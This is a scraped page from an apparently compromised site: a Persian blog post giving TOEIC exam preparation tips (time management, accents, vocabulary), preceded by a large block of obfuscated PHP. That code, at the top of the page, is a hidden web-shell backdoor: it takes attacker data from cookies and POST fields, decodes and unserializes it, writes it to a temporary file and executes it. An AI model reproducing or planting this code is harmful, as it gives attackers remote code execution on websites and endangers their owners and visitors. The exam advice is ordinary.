$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} نکات مهم برای شرکت در آزمون TOEIC | وبلاگ اتیچر

نکات مهم برای شرکت در آزمون TOEIC

زمان مطالعه: ۶ دقیقه

فهرست بخش ها

چگونه برای آزمون TOEIC آمادگی داشته باشیم؟

 یکی از شناخته شده ترین آزمون‌های حال حاضر در جهان TOEIC است. در این آزمون توانایی‌های زبان آموزان سطوح متوسط تا پیشرفته  در مهارت‌های اسپیکینگ، ریدینگ و همچنین قابلیت‌های آنها در محیط‌ های بازرگانی و تجاری سنجش می شود.

TOEIC هم مشابه بسیاری از آزمون‌های استاندارد بین المللی دیگر از طریق ETS برگزار می‌شود. سالانه بیش از ۴.۵ میلیون نفر در این آزمون شرکت می کنند و هدف اصلی اکثر این افراد استخدام و یا کسب جایگاه‌های بهتری در مشاغل مورد نظر است. در صورتی که شما هم همانند بسیاری دیگر از زبان آموزان نیاز دارید در این آزمون شرکت کنید و یا اطلاعات خود را در این زمینه افزایش دهید، تا انتهای این مقاله با ما همراه باشید.

در طی سال‌های گذشته، تغییرات فراوانی در آزمون TOEIC و در کشورهای مختلف برگزار کننده آن روی‌ داده است. به همین دلیل لازم است که زبان آموزان خود را با چنین تغییراتی هماهنگ کنند.

 

نیاز های زبان آموزان در آزمون TOEIC

اولین مرحله برای درک میزان سختی آزمون TOEIC، بررسی و شناخت محتویات آن است. زبان آموزان علاوه بر اینکه باید اطلاعات خود را در مورد برنامه ریزی برای شرکت در آزمون افزایش دهند، می‌بایست بهترین منابع آموزشی موجود را نیز برای کسب نمره بهتر تهیه کنند.

آشنایی با قالب، نحوه پاسخ گویی و انواع مختلف سوالات در آزمون TOEIC

تمامی موارد مرتبط با نحوه پاسخ گویی به سؤالات در ابتدای هر یک از بخش‌های مختلف امتحان TOEIC نوشته شده است.  آشنایی با این موارد می تواند از ارتکاب اشتباه در پاسخ به سوالات جلوگیری کند.

مدیریت زمان در آزمون TOEIC

یکی از مشکلات بسیار مهم این آزمون که اکثر زبان آموزان با آن درگیر هستند، محدودیت زمان آزمون است.

در بخش ریدینگ آزمون TOEIC، زبان آموزانی که توانایی لازم برای رویایی با متن های طولانی در مدت زمان کم را قبلا کسب نکرده اند، با مشکل روبه رو میشوند. در صورتی که زبان آموز متوجه چنین شرایطی باشد و از روش‌های موثر مانند خواندن سریع متن (skimming) آشنایی داشته باشد، در پاسخ گویی سریع‌تر و موثرتر به سوالات موفق خواهد شد.

علاوه بر این، با اجرای این روش می توان زمان بیشتری به دیگر قسمت‌های مهم آزمون TOEIC اختصاص داد.

مدیریت زمان در بخش ریدینگ آزمون TOEIC

استفاده موثر از شیوه‌های پردازش اطلاعات

در متون و همچنین لیسنیگ های طولانی، زبان آموزان باید خود را با روش‌های گوش دادن و خواندن درست آشنا کنند. یکی از راه‌های مرتبط با این موضوع، حدس زدن سؤالات و پاسخ‌های مربوطه در این بخش است. با پیش بینی پاسخ‌های مربوطه می توان تمرکز خود را فقط بر روی پیدا کردن جواب‌های مناسب برای سؤالات مورد نظر اختصاص داد.

شناخت خصوصیات و ویژگی‌های گزینه‌های گمراه کننده

در بخش‌های چند گزینه‌ای موجود در آزمون TOEIC، ممکن است با مواردی برخورد کنید که باعث گمراهی شما می شوند. در صورتی که با ویژگی‌های این موارد آشنا باشید، می‌توانید به سادگی آنها را تشخیص داده و از اشتباهات احتمالی پیشگیری نمایید.

مهارت‌های زبانی در آزمون TOEIC

آشنایی با لهجه‌های مختلف انگلیسی

در بخش لیسنینگ آزمون TOEIC ممکن است با لهجه‌های مختلفی از قبیل استرالیایی، آمریکایی، بریتانیایی و یا کانادایی مواجه شوید. گروهی از زبان آموزان فقط با یک نوع لهجه آشنا هستند و به همین علت در درک سایر لهجه‌ها دچار مشکلاتی خواهند شد.

برای بر طرف کردن چنین چالش‌هایی، پیشنهاد می‌شود تا زبان آموزان خود را با لهجه‌های مختلف موجود در انگلیسی آشنا کنند.

آشنایی با تغییرات آوایی موجود در زبان انگلیسی

بسیاری از زبان آموزان به تغییرات آوایی موجود در زبان انگلیسی بی توجهی می کنند.

این یک واقعیت است که تلفظ جملات، تفاوت‌های بسیاری با نحوه تلفظ کلمات دارند. در گذشته به دلایل مختلف امکان مکالمه و یا گوش دادن به گفتگوی افراد انگلیسی زبان وجود نداشت. افرادی که به سطوح پیشرفته زبانی می‌رسیدند در ایجاد ارتباط با اساتید و معلمین خود هیچ‌گونه مشکلی نداشتند و مشکل اصلی آنها زمانی مشخص می‌شد که  مجبور به مکالمه و ایجاد ارتباط با افرادی انگلیسی زبان می‌شدند.

در صورتی که راهنمایی‌های مورد نیاز در این زمینه در اختیار زبان آموزان قرار گیرد، می‌توانند با صرف کمترین وقت ممکن، توانایی لیسنینگ خود را برای آزمون TOEIC  و همچنین برای مکالمه‌های روزمره تقویت کنند و آگاهی خود را نسبت به شرایط واقعی زبان افزایش دهند.

درک مکالمات روزمره

بخش اسپیکینگ آزمون TOEIC، گستره وسیعی از موضوعات از قبیل موارد موجود در فروشگاه‌ها، مراکز خدماتی، مکالمات در خیابان‌ها و بسیاری از موارد دیگر را که در محیط‌های انگلیسی زبان روی می دهند، در برمی‌گیرد.

ممکن است در بخش اسپیکینگ TOEIC ابتدا با پاسخ‌های نامرتبطی رو برو شوید. با این حال در صورتی که به مکالمات دقت کافی شود، می توان به پاسخ‌های مورد نظر دست پیدا کرد.

به همین علت و برای کسب نمرات مناسب‌تر  در آزمون TOEIC  نیاز است تا زبان آموزان خود را با مکالمات بیشتری در محیط‌های واقعی آشنا کنند. در صورتی که امکان قرار دادن خود در شرایط واقعی و طبیعی را ندارید، به سایت اُتیچر مراجعه کنید تا از شرایط یادگیری زبان انگلیسی در محیط خارج که برای شما شبیه سازی شده است، استفاده کنید.

اهمیت درک مکالمات روزمره برای بخش اسپیکینگ آزمون TOEIC

فراگیری لغات و نکات گرامری

برای موفقیت در آزمون TOEIC  نیاز است تا دایره لغات و همچنین دانش گرامری خود را به میزان قابل توجهی افزایش دهید. در حقیقت، دانش لغات یکی از مهم‌ترین عوامل کسب نمره در آزمون TOEIC  به حساب می‌آید. به همین علت، باید در مطالعات خود برنامه ریزی مناسبی برای فراگیری لغات و همچنین عبارات مناسب در نظر بگیرید.

آمادگی برای شرکت در امتحان TOEIC

کتاب‌ها و جزوه‌های زیادی برای آمادگی در امتحان  TOEIC وجود دارند. بخشی از این جزوه‌ها به صورت آنلاین و بخشی دیگر به صورت آفلاین موجود هستند.

اصول اکثر این منابع تجزیه و تحلیل متن هستند. همچنین اغلب منابع شامل نمونه آزمون هایی هستند که با هدف کسب نمره بالاتر برای داوطلبین جدید آن تهیه شده‌اند و عموما بر اساس نمونه‌های برگزار شده گذشته تنظیم شده اند.

دیگر موارد قابل توجه برای آمادگی در امتحان TOEIC

مطالعه کلمات جدید، مدیریت زمان، توانایی درک مفهوم لغات به زبان انگلیسی و توانایی درک موضوعات مختلف در متن.

برای کسب نمره بالاتر نیاز است تا تمرینات بیشتری در فعالیت های دیگر از قبیل فراگیری هم معنی و یا بازی با کلمات انجام دهید.

برای درک مفاهیم در متن می توانید از تکنیک های دیگری مانند داستان گویی و بازی کردن نقش استفاده کنید.

علاوه بر این می توانید اخبار اقتصادی را دنبال کنید و متون مختلف را در رشته اصلی خود بخوانید. باید بتوانید زمان خود را برای شرکت در این آزمون به درستی مدیریت کنید.

 

روش‌های آنلاین آمادگی در امتحان TOEIC

آیا روش‌هایی برای آمادگی در امتحان TOEIC از طریق اینترنت هم وجود دارد؟

در حال حاضر منابع زیادی در اینترنت از جمله سایت‌های اینترنتی و همچنین ابزارهای الکترونیکی این نوع خدمات را ارائه می‌کنند. نیاز است تا این منابع را همراه با پشتکار خود استفاده کنید. می توان این منابع را به عنوان ابزارهای کمکی برای بررسی دانش خود در نظر گرفت.
علاوه بر این، سایت های مختلفی کلاس های آنلاین ارایه می دهند و برای درک بهتر این موارد زبان آموزان می توانند در آزمون هایی با زمان بندی واقعی از طریق اینترنت شرکت کنند.

با استفاده از این سایت ها افراد می توانند اطلاعات خود را قبل از شرکت در آزمون واقعی محک بزنند و خود را با استفاده از کلمات و همچنین متون موجود آماده نمایند.

اساتید اتیچر بهترین گزینه برای کسب اطلاعات دقیق در مورد آزمون‌های بین‌المللی هستند.

برای رزرو جلسه رایگان می‌توانید به اینجا مراجعه کنید.

 

مقاله‌های مرتبط:

۵/۵ - (۱ امتیاز)

Paniz Shirafkan

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search